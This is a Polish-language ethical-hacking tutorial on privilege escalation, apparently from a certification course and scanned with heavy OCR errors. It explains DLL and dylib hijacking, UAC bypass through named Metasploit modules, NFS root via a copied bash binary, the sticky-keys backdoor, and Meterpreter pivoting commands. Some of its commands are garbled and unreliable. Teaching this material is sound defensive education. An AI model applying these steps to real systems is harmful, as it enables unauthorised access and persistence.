Uprawnienia to role bezpieczenstwa przypisane uzytkownikom do korzystania z okreslonych
programoéw, funkcji, systemdw operacyjnych, funkgcji, plikdw lub kodéw itp. w celu ograniczenia ich
dostepu réznym typom uzytkownikéw. Jesli uzytkownik ma przypisane wieksze uprawnienia, moze
modyfikowaé lub wchodzi¢ w interakcje z bardziej ograniczonymi cze$ciami systemu lub aplikacji niz
uzytkownicy mniej uprzywilejowani. Atak polegajgcy na eskalacji uprawnien to proces polegajgcy na
uzyskaniu wiekszej liczby uprawnien niz poczatkowo. Podczas ataku polegajgcego na eskalacji
uprawnien osoby atakujgce najpierw uzyskujg dostep do sieci za pomocg konta uzytkownika innego
niz administrator, a nastepnie préobujg uzyska¢ uprawnienia administracyjne. Atakujacy wykorzystuja
wady projektowe, btedy programistyczne, btedy i niedopatrzenia w konfiguracji systemu operacyjnego
i aplikacji, aby uzyska¢ dostep administracyjny do sieci i powigzanych z nig aplikacji. Gdy osoba
atakujgca uzyska dostep do systemu zdalnego za pomoca prawidiowej nazwy uzytkownika i hasta,
sprébuje zmienié¢ konto uzytkownika na konto o zwiekszonych uprawnieniach, na przykfad
administratora, w celu wykonywania ograniczonych operacji. Te uprawnienia umozliwiajg
atakujgcemu przegladanie krytycznych/poufnych informacji, usuwanie plikéw lub instalowanie
ztosliwych programdw, takich jak wirusy, trojany, robaki itp.

Rodzaje eskalacji uprawnien

Eskalacja uprawnien odbywa sie w dwdch formach: pionowej eskalacji uprawnien i poziomej eskalacji
uprawnien.



Pozioma eskalacja uprawnien: podczas poziomej eskalacji uprawnien nieautoryzowany uzytkownik
probuje uzyska¢ dostep do zasobow, funkcji i innych uprawnield nalezgcych do autoryzowanego
uzytkownika, ktéry ma podobne uprawnienia dostepu. Na przyktad uzytkownik bankowosci
internetowej A moze tatwo uzyskac dostep do konta bankowego uzytkownika B.

Pionowa eskalacja uprawnien: W pionowej eskalacji uprawnien nieautoryzowany uzytkownik prébuje
uzyskac dostep do zasobdw i funkcji uzytkownika o wyzszych uprawnieniach, takiego jak administrator
aplikacji lub witryny. Na przykfad osoba korzystajgca z bankowosci internetowej moze uzyskac dostep
do witryny za pomoca funkcji administracyjnych.

Eskalacja uprawnien za pomoca przejmowania bibliotek DLL

Wiekszo$¢ aplikacji systemu Windows nie uzywa w petni kwalifikowanej $ciezki podczas tadowania
zewnetrznej biblioteki DLL; zamiast tego najpierw przeszukujg katalog, z ktérego zostaty zatadowane.
Wykorzystujac to jako zalete, jesli atakujgcy mogg umiescic¢ ztosliwg biblioteke DLL w katalogu aplikacji,
aplikacja wykona ztosliwg biblioteke DLL zamiast prawdziwej biblioteki DLL. Na przyktad, jesli program
uzytkowy ,.exe” potrzebuje biblioteki biblioteka.dll (zwykle w katalogu systemu Windows) do
zainstalowania aplikacji i nie okresli sciezki biblioteki.dll, system Windows wyszuka biblioteke DLL w
katalogu, z ktérego aplikacja zostata uruchomiona. Jesli osoba atakujgca umiescita juz biblioteke DLL w
tym samym katalogu co program.exe, zamiast prawdziwej biblioteki DLL zostanie zatadowana ta
ztosliwa biblioteka DLL, co umozliwi atakujgcemu uzyskanie zdalnego dostepu do systemu docelowego.

Atakujgcy uzywajg narzedzi, takich jak Robber i PowerSploit, do wykrywania przechwyconych bibliotek
DLL i przeprowadzania przechwytywania DLL w systemie docelowym:

Robber

Robber to narzedzie typu open source, ktére pomaga atakujgcym znalez¢ pliki wykonywalne podatne
na przejmowanie bibliotek DLL. Atakujgcy uzywajg Robbera, aby dowiedzie¢ sie, ktére biblioteki DLL sg
wykonywalnymi zgdaniami bez $ciezki bezwzglednej (uruchamiajgc ten proces wyszukiwania);
atakujacy mogga nastepnie umiescié¢ swojg szkodliwg biblioteke DLL wysoko na sciezce wyszukiwania,
aby zostata ona wywotana przed oryginalng bibliotekg DLL.

Eskalacja uprawnien poprzez wykorzystanie luk w zabezpieczeniach

Podatnos¢ to istnienie stabosci, wady projektowej lub btedu implementacji, ktére mogg prowadzi¢ do
nieoczekiwanego zdarzenia zagrazajgcego bezpieczenstwu systemu. Osoba atakujgca wykorzystuje te
luki do przeprowadzania réznych atakéw na poufnosé, dostepnosé lub integralnosé systemu. Wady
projektowe oprogramowania i btedy programistyczne prowadzg do luk w zabezpieczeniach. Atakujacy
wykorzystujg te luki w oprogramowaniu, takie jak btedy programistyczne w programie lub ustudze albo
W oprogramowaniu systemu operacyjnego lub jadrze, do wykonania ztosliwego kodu. Wykorzystanie
luk w oprogramowaniu umozliwia atakujgcym wykonanie polecenia lub pliku binarnego na docelowej
maszynie w celu uzyskania wyzszych uprawnied niz istniejgce lub obejscia mechanizméw
bezpieczenstwa. Atakujgcy korzystajacy z tych exploitdw mogg nawet uzyskaé dostep do kont
uzytkownikéw uprzywilejowanych i poswiadczen. Istnieje wiele publicznych repozytoriéw luk
dostepnych online, ktére umozliwiajg dostep do informacji o réznych lukach w oprogramowaniu.
Atakujgcy wyszukujg exploity oparte na systemie operacyjnym i oprogramowaniu w witrynach z
exploitami, takich jak Exploit Database (https://www.exploit-db.com) lub VulDB (https://vuldb.com) i
wykorzystujg te exploity do zdobycia wysokie przywileje.

Eskalacja uprawnien za pomoca przejecia Dylib



Podobnie jak Windows, macOS jest réwniez podatny na dynamiczne ataki na biblioteki. macOS
udostepnia kilka uzasadnionych metod, takich jak ustawienie zmiennej $rodowiskowej
DYLDJNSERTJJBRARIES, ktére sg specyficzne dla uzytkownika. Te metody zmuszajg program tadujacy
do automatycznego tadowania ztosliwych bibliotek do uruchomionego procesu docelowego. macOS
umozliwia dynamiczne tadowanie stabych bibliotek dylib (bibliotek dynamicznych), co z kolei pozwala
atakujgcemu na umieszczenie ztosliwej biblioteki dylib w okreslonej lokalizacji. W wielu przypadkach
modut fadujgcy wyszukuje biblioteki dynamiczne w wielu $ciezkach. Pomaga to atakujgcemu
wstrzyknac ztosliwg biblioteke dylib do jednego z gtdwnych katalogdw i po prostu zatadowac ztosliwg
biblioteke dylib w czasie wykonywania. Atakujgcy mogg wykorzystywac takie metody do wykonywania
roznych ztosliwych dziatan, takich jak ukradkowa trwatos¢, wstrzykniecie procesu w czasie
wykonywania, ominiecie oprogramowania zabezpieczajgcego i ominiecie straznika. Narzedzia, takie
jak Dylib Hijack Scanner i Dylib-Hijack-Scanner, pomagajg atakujgcym wykrywac biblioteki dylib, ktére
sg podatne na ataki typu hijack.

Eskalacja uprawnien z wykorzystaniem luk w zabezpieczeniach Spectre i Meltdown

Spectre i Meltdown to najnowsze luki w zabezpieczeniach procesoréw wykryte w projektach
nowoczesnych procesoréow, w tym uktadéw AMD, ARM i Intel, spowodowane optymalizacjg
wydajnosci tych procesordw. Atakujgcy moga wykorzystac te luki w celu uzyskania nieautoryzowanego
dostepu i kradziezy krytycznych informacji systemowych, takich jak dane logowania, tajne klucze,
nacisniecia klawiszy, klucze szyfrowania itp. przechowywane w pamieci aplikacji w celu zwiekszenia
uprawnien. Ataki te moga by¢ przeprowadzane, poniewaz normalna weryfikacja uprawnien
uzytkownika jest zaktdcana przez interakcje funkcji, takich jak przewidywanie rozgatezien,
wykonywanie poza kolejnoscig, buforowanie i wykonywanie spekulacyjne. Korzystajac z tych luk,
osoby atakujgce moga wykorzystywac rézne zasoby IT, takie jak wiekszos¢ systemdw operacyjnych,
serwerdéw, komputeréw PC, systemdéw chmurowych i urzadzen mobilnych.

Podatnos¢ na widmo

Luka Spectre wystepuje w wielu nowoczesnych procesorach, w tym procesorach Apple, AMD, ARM,
Intel, Samsung i Qualcomm. Ta luka umozliwia atakujgcym naktonienie procesora do wykorzystania
wykonywania spekulatywnego w celu odczytania zastrzezonych danych. Nowoczesne procesory
implementujg wykonanie spekulatywne, aby przewidzieé przysztos¢ i szybciej zakoriczy¢ wykonanie.
Na przyktad, jesli chip zidentyfikuje, ze program zawiera wiele instrukcji warunkowych, zacznie
wykonywac i konczy¢ wszystkie mozliwe wyjscia, zanim zrobi to program. Atakujgcy moga wykorzystac
te luke na rdézne sposoby:

o Procesor jest zmuszony wykonaé spekulatywne wykonanie odczytu przed wykonaniem sprawdzania
powigzan. W zwigzku z tym osoba atakujgca moze uzyskac dostep do lokalizacji pamieci poza zakresem
i odczytac je.

o Podczas wykonywania instrukcji warunkowych, w celu szybszego przetwarzania, procesory uzywajg
przewidywania rozgatezien, aby wybra¢ Sciezke do wykonania spekulatywnego. Atakujacy moga
wykorzystaé te funkcje, aby zmusic¢ procesor do podjecia niewtasciwej spekulacyjnej decyzji i dalszego
dostepu do danych poza zasiegiem. Atakujagcy mogg wykorzystaé te luke do odczytania sgsiednich
lokalizacji pamieci procesu i uzyskania dostepu do informacji, do ktorych nie sg upowaznieni. Ta luka
pomaga atakujagcym w wydobyciu z docelowego procesu poufnych informacji, takich jak dane
uwierzytelniajgce przechowywane w przegladarce. W niektérych przypadkach, wykorzystujac te luke,
osoba atakujgca moze nawet odczytac¢ pamiec jadra lub przeprowadzi¢ atak internetowy przy uzyciu
JavaScript.



Podatnosc na stopienie

Luka Meltdown wystepuje we wszystkich procesorach Intel i ARM wdrozonych przez Apple. Ta luka
umozliwia atakujgcym oszukanie procesu w celu uzyskania dostepu do pamieci poza zakresem poprzez
wykorzystanie mechanizmow optymalizacji procesora, takich jak wykonywanie spekulacyjne. Na
przyktad osoba atakujgca zgda dostepu do nielegalnej lokalizacji pamieci. Fle/ona wysyta drugie
zgdanie warunkowego odczytu prawidtowej lokalizacji pamieci. W takim przypadku procesor
korzystajacy z wykonania spekulacyjnego zakoriczy ocene wyniku dla obu zgdan przed sprawdzeniem
pierwszego zgdania. Gdy procesor sprawdza, czy pierwsze zgdanie jest niewazne, odrzuca oba zgdania
po sprawdzeniu uprawnied. Mimo Ze procesor odrzuca oba zgdania, wyniki obu zgdan pozostajg w
pamieci podrecznej. Teraz atakujgcy wysyta wiele prawidtowych zgdan dostepu do lokalizacji pamieci
poza zakresem. Atakujagcy mogg wykorzysta¢ te luke do eskalacji uprawnien, zmuszajac
nieuprzywilejowany proces do odczytu innych sgsiednich lokalizacji pamieci, takich jak pamiec¢ jadra i
pamie¢ fizyczna. Prowadzi to do ujawnienia krytycznych informacji systemowych, takich jak
poswiadczenia, klucze prywatne itp.

Eskalacja uprawnien za pomoca personifikacji potoku nazwanego

W systemie operacyjnym Windows nazwane potoki stuzg do zapewnienia prawidtowej komunikacji
miedzy uruchomionymi procesami. W tej technice komunikaty s3 wymieniane miedzy procesami za
pomoca pliku. Na przyktad, jesli proces A chce wysta¢ komunikat do innego procesu B, proces A zapisuje
komunikat do pliku, a proces B odczytuje komunikat z tego pliku. Atakujacy czesto wykorzystujg te
technike do eskalacji swoich uprawnien w systemie ofiary na konto uzytkownika z wyzszymi
uprawnieniami dostepu. W dowolnym systemie Windows, gdy proces tworzy potok, dziata on jako
serwer potokéw. Jesli jakikolwiek inny proces chce komunikowac sie z tym procesem, potgczy sie z tym
potokiem i stanie sie klientem potoku. Gdy klient taczy sie z potokiem, serwer potoku moze
wykorzystaé uprawnienia dostepu i kontekst zabezpieczen klienta potoku. Atakujgcy wykorzystuja te
funkcje, tworzgc serwer potokowy z mniejszymi uprawnieniami i prébujgc potaczyc sie z klientem o
wyzszych uprawnieniach niz serwer. Atakujacy uzywajg narzedzi, takich jak Metasploit, do
podszywania sie pod nazwany potok na hoscie docelowym. Atakujgcy wykorzystujg luki w
zabezpieczeniach docelowego zdalnego hosta, aby uzyska¢ aktywna sesje i uzyé polecerl Metasploit,
takich jak getsystem, w celu uzyskania uprawnied na poziomie administracyjnym i wyodrebnienia
skrétéw haset kont administratora/uzytkownika.

Eskalacja uprawnien przez wykorzystywanie Zle skonfigurowanych ustug

Atakujacy na ogdt wykorzystuja luki dnia zerowego, ktére istniejg w systemach docelowych, aby
zwiekszy¢ uprawnienia. Jesli atakujgcy nie s w stanie znalez¢ takich exploitéw, probujg zwiekszy¢
uprawnienia, naduzywajgc Zzle skonfigurowanych ustug w docelowym systemie operacyjnym.
Niepewna lub niewtasciwa konfiguracja ustug systemowych umozliwia atakujgcym podniesienie
swoich uprawnien w docelowym systemie. Na przyktad osoby atakujagce wykorzystujg Zle
skonfigurowane ustugi, takie jak niecytowane S$ciezki ustug, uprawnienia do obiektéw ustug,
nienadzorowane instalacje, modyfikowalne automatyczne uruchamianie rejestru i konfiguracje itp.,
aby podnies¢ uprawnienia dostepu. Atakujgcy uzywajg narzedzi takich jak Metasploit, aby uzyskaé
aktywng sesje z docelowym hostem. Po ustanowieniu aktywnej sesji atakujgcy uzywajg narzedzi, takich
jak PowerSploit, do wykrywania zle skonfigurowanych ustug istniejgcych w docelowym systemie
operacyjnym.

Niecytowane Sciezki ustug



W systemach operacyjnych Windows, gdy ustuga zaczyna dziataé, system probuje znalezé lokalizacje
pliku wykonywalnego, aby pomysinie uruchomié ustuge. Zazwyczaj sciezka pliku wykonywalnego jest
ujeta w cudzystowy, aby system modgt tatwo zlokalizowac plik binarny aplikacji. Niektore pliki
wykonywalne mogga nie zawiera¢ ujetych w cudzystow $ciezek, a pomiedzy nimi mogg znajdowac sie
spacje; w tym scenariuszu system prébuje znalez¢ plik binarny aplikacji, przeszukujac wszystkie foldery
istniejgce w Sciezce, az do znalezienia pliku wykonywalnego. Atakujgcy wykorzystujg ustugi z
niecytowanymi $ciezkami dziatajagce z uprawnieniami SYSTEMOWYMI, aby podnie$¢ swoje
uprawnienia.

Uprawnienia obiektu ustugi

Btednie skonfigurowane uprawnienie ustugi moze umozliwi¢ osobie atakujgcej zmodyfikowanie lub
ponowne skonfigurowanie atrybutéw powigzanych z tg ustugg. Moze to nawet doprowadzi¢ do zmiany
lokalizacji pliku binarnego aplikacji na szkodliwy plik wykonywalny stworzony przez atakujgcego.
Wykorzystujac takie ustugi, osoby atakujgce moga nawet dodawac nowych uzytkownikdw do lokalnej
grupy administratoréw w systemie. Nastepnie atakujgcy przejmujg kontrole nad nowym kontem, aby
podniesé swoje uprawnienia dostepu.

Instalacje nienadzorowane

Instalacje nienadzorowane umozliwiajg atakujgcym wdrazanie systemdw operacyjnych Windows bez
interwencji administratora. Administratorzy muszg recznie wyczysci¢ szczegdly instalacji
nienadzorowanej zapisane w pliku Unattend.xml. Ten plik XML przechowuje wszystkie informacje
zwigzane z ustawieniami konfiguracyjnymi ustawionymi podczas procesu instalacji i moze réwniez
zawierac poufne informacje, takie jak konfiguracja kont lokalnych, nazwy uzytkownikéw, a nawet
rozszyfrowane hasta. W systemach Windows plik Unattend.xml jest przechowywany w jednej z
nastepujgcych lokalizacji:

C:\Windows\Panther\
C:\Windows\Panther\ UnattendGC\
C:\Windows\System32\
C:\Windows\System32\sysprep\

Jesli osoby atakujgce mogg uzyskaé dostep do tego pliku, mogg tatwo uzyskaé dane uwierzytelniajace
i ustawienia konfiguracji uzywane podczas instalacji tej ustugi lub aplikacji. Atakujacy wykorzystujg te
informacje do eskalacji uprawnien.

Obracanie i przekazywanie w celu zhakowania zewnetrznych maszyn

Obracanie i przekazywanie to techniki stosowane w celu znalezienia szczegétowych informacji o sieci
docelowej. Techniki te sg wykonywane po pomysinym witamaniu sie do systemu docelowego.
Zaatakowany system jest uzywany do penetracji sieci docelowej w celu uzyskania dostepu do innych
systemow i zasobow, ktére w innym przypadku bytyby niedostepne z sieci atakujgcej. W technice
przestawnej wykorzystywane sg tylko systemy dostepne za posrednictwem zaatakowanych systemow,
podczas gdy w technice przekazywania eksplorowane lub uzyskiwane sg zasoby dostepne za
posrednictwem zaatakowanego systemu. Wykorzystujac obracanie, atakujgcy moga otworzy¢ zdalng
powtoke w systemie docelowym, tunelowang przez poczgtkowg powtoke w zaatakowanym systemie.
Podczas przekazywania dostep do zasobow znajdujgcych sie w innych systemach uzyskuje sie za
posrednictwem tunelowanej sesji powtoki w zaatakowanym systemie. Szczegdétowe wyjasnienie
technik obracania i przenoszenia jest nastepujgce:



Obracanie

W tej technice pierwszym celem osoby atakujacej jest ztamanie zabezpieczen systemu w celu uzyskania
na nim zdalnej powtoki, a nastepnie obejscie zapory ogniowej w celu przejscia przez zaatakowany
system i uzyskania dostepu do innych wrazliwych systemdéw w sieci. Po pomysinym zhakowaniu
systemu ustanawiana jest sesja Meterpretera. Poniewaz sesja jest przestawiana przez zaatakowany
system, system docelowy nie moze okresli¢ rzeczywistego Zrédta wykorzystania.

Kroki, aby wykonad obracanie:
1. Odkryj hosty na zywo w sieci

Po zhakowaniu systemu przeprowadzane jest skanowanie ARP w celu odnalezienia listy aktywnych
systemow w sieci. Na przyktad osoba atakujgca uzywa nastepujgcego polecenia w celu wykrycia
hostow na zywo w pliku w sieci docelowej:

> run post/windows/gather/arp_scanner RHOSTS <target subnet ranges

Jak pokazano na zrzucie ekranu, wyniki skanowania pokazujg siedem adreséw IP dostepnych z
zaatakowanego systemu. Aby uzyska¢ wiecej informacji na temat tych adreséw IP, osoby atakujgce
przeprowadzajg skanowanie portow.

2. Skonfiguruj reguty routingu

Przed uzyciem Metasploit do uruchomienia skanera portéw na dwdch adresach IP w docelowej sieci
atakujacy wdrazajg reguty routingu, aby poinstruowac¢ Metasploit, aby kierowat caty ruch przeznaczony
do sieci prywatnej przy uzyciu istniejgcej sesji Meterpretera ustanowionej miedzy systemem
atakujacego a systemem zaatakowanym. Na przyktad osoba atakujgca moze uzy¢ nastepujacych
polecen, aby wykonaé ten krok:

> background

> route add <IP address> <subnet mask> <session number>



Reguta routingu nakazujgca Metasploit kierowanie ruchu kierowanego do 10.10.10.0
255.255.255.0 do sesji nr 1 (sesja Meterpretera nawigzana z zainfekowanym systemem)
3. Skanuj porty dziatajgcych systemow

Po zaimplementowaniu reguty routingu wykonywane jest skanowanie portow w aktywnych
systemach. Na przyktad atakujgcy uzywa nastepujgcych polecen do skanowania portéw w systemach
docelowych:

> use auxiliary/scanner/portsoan/top
> set RHOSTS <IP addresses>
> set PORTS 1-1000

>run

Jak pokazano na zrzucie ekranu, wynik wyswietla otwarte porty w systemach prywatnych.

4. Wykorzystuj podatne na ataki ustugi

Po przeskanowaniu portéw mozna wykorzystaé podatne na ataki ustugi dziatajace na tych portach. Na
przyktad osoba atakujgca moze wykorzystaé exploit BypassllAC, aby oming¢ ustawienie kontroli
dostepu uzytkownika (UAC). Jak pokazano na zrzucie ekranu, udana sesja jest nawigzywana z
zagrozonym systemem przez przejscie przez zaatakowany system.



Relaying

Jesli technika przestawiania sie nie powiedzie, osoby atakujgce wykorzystujg technike przekazywania,
aby wykorzystaé podatny na ataki system w sieci docelowej. Atakujacy uzywajg przekazywania, aby
uzyska¢ dostep do zasobdéw obecnych w innych systemach w sieci docelowej za posrednictwem
zaatakowanego systemu w taki sposdb, ze zgdania dostepu do zasobdow pochodzg z pierwotnie
zaatakowanego systemu.

Kroki, aby wykona¢ przekazywanie:

1. Skonfiguruj reguty przekierowania portéw Gtéwnym celem przekierowania portow jest
umozliwienie uzytkownikowi dotarcia do okreslonego portu w systemie, ktéry nie jest obecny w tej
samej sieci. Pierwotnie zainfekowany system jest odpowiedzialny za umozliwienie bezposredniego
dostepu do systemu, ktéry w innym przypadku jest niedostepny dla systemu atakujgcego. Korzystajac
z sesji Meterpretera, mozna utworzy¢ odbiornik przy uzyciu numeru portu z a

lista otwartych portdw na hoscie lokalnym, ktdra faczy ten odbiornik z portem na zdalnym serwerze.
To faczenie portow jest znane jako przekierowanie portédw. Na przykfad tutaj atakujgcy wybrat numery
portéow 80, 22 i 445, aby skonfigurowac reguty przekierowania portow.

2. Uzyskaj dostep do zasobdéw systemowych

Po pomysinym przekierowaniu portéw osoba atakujagca moze uzyé odpowiedniego programu
klienckiego, aby uzyska¢ dostep do zdalnych zasobdow obecnych w systemie docelowym. Na przyktad:

Atakujacy mogg przegladaé serwer FITTP dziatajgcy w systemie docelowym, korzystajac z
nastepujgcego adresu URL:

http://localhost:10080

Atakujgcy mogg uzyskaé dostep do serwera SSFH dziatajgcego w systemie docelowym, wykonujgc
nastepujgce polecenie:

# ssh myadminOlocalhost
Eskalacja uprawnien przy uzyciu zle skonfigurowanego systemu plikéw NFS

Atakujacy czesto probujg wyliczy¢ btedne konfiguracje w sieciowym systemie plikdw (NFS) w celu
wykorzystania i uzyskania dostepu do zdalnego serwera na poziomie administratora. NFS to protokét



uzywany do udostepniania i uzyskiwania dostepu do danych i plikdw przez zabezpieczony intranet.
Wykorzystuje port 2049 do zapewnienia komunikacji miedzy klientem a serwerem za posrednictwem
zdalnego wywotywania procedur (RPC). Btednie skonfigurowany NFS toruje atakujgcym droge do
uzyskania dostepu na poziomie administratora za posrednictwem zwyktego konta uzytkownika lub
uzytkownika o niskich uprawnieniach. Wykorzystujgc luki NFS, osoby atakujgce mogg wacha¢ poufne
dane i pliki przechodzace przez intranet i przeprowadzac dalsze ataki.

Kroki zwigzane z uzyskaniem dostepu root do hosta docelowego:

e Krok 1: Uruchom nastepujacg komende nmap, aby sprawdzi¢, czy ustuga NFS jest uruchomiona na
hoscie docelowym.

nmap -sV <Docelowy adres IP>

Krok 2: Uzyj nastepujacego polecenia, aby zainstalowac NFS i wejs¢ w interakcje z docelowg ustugg
NFS:

sudo apt-get install nfs-common

Krok 3: Uruchom nastepujgce polecenie, aby sprawdzi¢, czy jakikolwiek udziat jest dostepny do
zamontowania na hoscie docelowym:

showmount -e <Docelowy adres IP>

e Krok 4: Jesli powyzsze polecenie zwréci katalogi, ktére mozna zamontowac, utwérz katalog o nazwie
nfs, uzywajac nastepujacego polecenia:

mkdir /tmp/nfs
¢ Krok 5: Uruchom nastepujace polecenie, aby zamontowac katalog nfs na hoscie docelowym,
sudo mount -t nfs <docelowy adres IP>:/<katalog wspétdzielony> /tmp/nfs

Krok 6: Wykonaj nastepujgce polecenia, aby wyswietli¢ szczegdty zamontowanego katalogu i uzyskac
prawa wtasnosci do katalogu wspdtdzielonego.

cd /tmp/nfs
Sudo cp /bin/bash .
Is -la

Krok 7: Uruchom nastepujgce polecenie, aby nawigzac zdalne potgczenie z hostem docelowym za
pomoca SSH:

ssh -1 <nazwa docelowego hosta> <docelowy adres IP>
Eskalacja uprawnien za pomoca lepkich klawiszy systemu Windows

W systemie Windows funkcja klawiszy lepkich umozliwia uzytkownikom uzywanie kombinacji klawiszy,
w tym Ctrl, Alt i Shift, zamiast naciskania trzech klawiszy jednoczesnie. Atakujgcy wykorzystujg te
funkcje do przeprowadzania eskalacji uprawnied. Po uzyskaniu dostepu do zdalnego systemu
atakujacy eskalujg uprawnienia, po prostu zmieniajgc plik zwigzany z funkcjg klawiszy trwatych i
naciskajac klawisz Shift 5 razy w krétkim odstepie czasu po uruchomieniu systemu. Aby przeprowadzic¢
ten atak, osoba atakujgca musi skopiowac plik sethc.exe z lokalizacji %systemroot%\system32 do innej
lokalizacji. Nastepnie muszg skopiowac cmd.exe do tej samej lokalizacji. Teraz, gdy atakujgcy ponownie



uruchomi system i nacisnie klawisz Shift 5 razy, otworzy sie okno wiersza polecenia z dostepem na
poziomie systemu. Co wiecej, osoba atakujgca moze zachowaé dostep do backdoora, po prostu
tworzgc nowe konto administratora lokalnego.

Eskalacja uprawnien przez ominiecie kontroli konta uzytkownika (UAC)

Kiedy atakujgcym nie udaje sie zwiekszy¢ uprawnien za pomocg prostego tadunku, prébujg oming¢
funkcje bezpieczenstwa systemu Windows, takie jak UAC, i uzyskac dostep na poziomie systemu. Aby
to osiggnaé, osoby atakujgce najpierw naktaniajg ofiare do zaakceptowania i uruchomienia
okreslonego przez siebie pliku. W srodowisku Windows, nawet jesli poziom ochrony UAC jest
ustawiony na dowolng opcje, osoby atakujgce mogg wykorzystac kilka aplikacji Windows do eskalacji
uprawnien bez wyzwalania powiadomienia UAC. Alternatywnie, osoby atakujgce mogg wstrzykngc
ztosliwe oprogramowanie do zaufanego procesu w celu uzyskania uprawnien wysokiego poziomu bez
powiadamiania uzytkownika.

Techniki omijania UAC za pomocg Metasploit
Omijanie ochrony UAC

Atakujacy uzywajg exploita bypassuac Metasploit, aby omingé zabezpieczenia UAC poprzez
wstrzykniecie procesu. Generuje kolejng sesje lub powtoke bez flagi UAC. Po uzyskaniu dostepu do
powtoki atakujgcy wykonujg polecenia getsystem i getuid w celu odzyskania uprawnien uprawnien
systemowych.

msf > use exploit/windows/local/bypassuac
Ominiecie ochrony UAC poprzez wstrzykniecie pamieci

Exploit Metasploit bypassuac_injection wykorzystuje mechanizmy odblaskowe DLL do wstrzykiwania
tylko plikéw binarnych tadunku DLL. Za pomoca tego polecenia osoby atakujgce mogg uzyskac
uprawnienia AUTHORITY\sYSTEM.

msf > use exploit/windows/local/bypassuac_injection
Omijanie ochrony UAC za pomoca klucza rejestru FodHelper

Exploit Metasploit bypassuac_fodhelper przejmuje specjalny klucz z gatezi rejestru HKCU w celu
ominiecia UACi dotacza go do pliku fodhelper.exe. Polecenia niestandardowe mozna wywotaé podczas
wykonywania pliku fodhelper.exe.

msf > use exploit/windows/local/bypassuac_fodhelper
Omijanie ochrony UAC za pomoca klucza rejestru Eventvwr

Exploit Metasploit bypassuac_eventvwr przejmuje réwniez specjalny klucz z rejestru HKCU, a
niestandardowe polecenia moga by¢ wykonywane wraz z uruchomieniem Podgladu zdarzeni. Ten
exploit manipuluje kluczem rejestru, ale jest on czyszczony po wywotaniu ztosliwych polecen lub
tadunkow.

msf > use exploit/windows/local/bypassuac_eventvwr
Omijanie ochrony UAC przez przejecie modutu obstugi COM

Exploit Metasploit bypassuac_comhijack umozliwia atakujgcym tworzenie wpisow rejestru obstugi
COM w gatezi biezgcego uzytkownika w celu ominiecia ochrony UAC. Te wpisy rejestru mogg odnosic¢
sie do wykonywania niektérych proceséw wysokiego poziomu, co skutkuje tadowaniem bibliotek DLL



kontrolowanych przez osobe atakujacg. Do tych bibliotek DLL mozna wstrzykng¢ ztosliwy fadunek,
ktory umozliwia atakujgcym ustanowienie podwyzszonych sesji.

msf > use exploit/windows/local/bypassuac_comhijack
Eskalacja uprawnien przez naduzywanie skryptow rozruchu lub inicjalizacji logowania

Atakujacy wykorzystujg skrypty inicjujgce rozruch lub logowanie do zwiekszania uprawnien lub
utrzymywania trwatosci w systemie docelowym. Skrypty te umozliwiajg réowniez atakujacym
wykonywanie réznych zadan administracyjnych, za pomoca ktérych moga uruchamiaé inne programy
w systemie. Ponadto osoby atakujgce mogg komunikowaé sie z wewnetrznym serwerem
rejestrujgcym, ktéry implementuje te skrypty. Takie skrypty mogg sie rézni¢ w zaleznosci od systemu
operacyjnego systemu docelowego i lokalizacji (zdalnej lub lokalnej), z ktérej sg wykonywane.
Atakujacy poczatkowo uzywaja tych skryptow do utrzymywania trwatosci w pojedynczym systemie. Na
podstawie ustawien konfiguracyjnych osoby atakujgce mogg eskalowac uprawnienia przy uzyciu konta
lokalnego lub konta administratora. Ponizej omdwiono rdzne techniki stosowane przez osoby
atakujgce w celu zastosowania skryptodw inicjujgcych rozruch lub logowanie w celu eskalacji
uprawnien.

Skrypt logowania (Windows)

Po zalogowaniu uzytkownika lub grupy uzytkownikéw do systemu Windows system operacyjny
umozliwia wykonanie skryptéw logowania. Skrypty te sg wykorzystywane przez osoby atakujace do
tworzenia trwatosci i zwiekszania uprawnief w systemie poprzez osadzenie $ciezki do ich skryptu w
nastepujgcym kluczu rejestru:

o HKCU\Environment\UserlnitMprLogonScript
Skrypt logowania (Mac)

Skrypty logowania w systemie macOS sg réwniez znane jako haki logowania i umozliwiajg atakujgcym
tworzenie trwatosci w systemie, poniewaz sg wykonywane automatycznie podczas logowania do
systemu. Specjalny skrypt (hak logowania) jest wykonywany przez system macOS podczas proby
logowania. Jednak ten hak logowania rdézni sie od elementéw startowych, poniewaz sam hak jest
wykonywany jako uzytkownik root. Atakujgcy wykorzystujg te haki do wstrzykiwania ztosliwych
tadunkow w celu podniesienia uprawnien i utrzymania trwatosci.

Skrypty logowania do sieci

Atakujgcy wykorzystujg skrypty logowania do sieci w celu zwiekszania uprawnien i utrzymywania
trwatosci. Skrypty te sg przydzielane przy uzyciu ustug AD lub GPO. Takie skrypty logowania s3
wykonywane przy uzyciu dowolnych prawidtowych poswiadczen uzytkownika. Inicjalizacja skryptu
logowania do sieci moze by¢ wykorzystana w réznych systemach opartych na systemach sieciowych. Z
tego powodu osoby atakujgce naduzywajg skryptéw logowania do sieci, aby uzyska¢ poswiadczenia
lokalne lub administratora na podstawie konfiguracji dostepu w celu eskalacji swoich uprawnien.

Skrypty RC

Atakujacy wykorzystujg skrypty RC do eskalacji uprawnien i tworzenia trwatosci podczas procesu
uruchamiania systemow opartych na Uniksie. Te skrypty sg wykonywane podczas uruchamiania
systemu i umozliwiajg mapowanie i inicjowanie niestandardowych ustug startowych. Te
niestandardowe ustugi moga by¢ uzywane przez osobe atakujgcg na réznych poziomach uruchamiania.
Atakujgcy zachowuja trwatos¢, osadzajac ztosliwg binarng powtoke lub sciezke do skryptéw RC, takich



jak rc.common lub rc.local, w systemach opartych na Uniksie. Po ponownym uruchomieniu systemu
osoby atakujgce uzyskujg dostep do konta root poprzez automatyczne wykonanie tych skryptow RC.

Elementy startowe

W systemach macOS elementy startowe sg uruchamiane na ostatnim etapie procesu uruchamiania i
obejmuja rézne pliki wykonywalne lub skrypty powtoki wraz z informacjami konfiguracyjnymi, ktére
stuzg do okreslenia kolejnosci wykonywania elementéw startowych. startupParameters.plist to plik
wykonywalny elementu startowego, ktéry znajduje sie w katalogu gtéwnym najwyzszego poziomu.
Atakujacy tworzg ztosliwe pliki lub foldery w katalogu /Library/startupitems, aby zachowa¢ trwatos¢.
Poniewaz elementy te sg wykonywane na etapie rozruchu, mozna je wykonac¢ z uprawnieniami
administratora.

Eskalacja uprawnien poprzez modyfikacje zasad domeny

Atakujacy czesto prdébuja obejsé rozwigzania zabezpieczajgce i inne zabezpieczenia
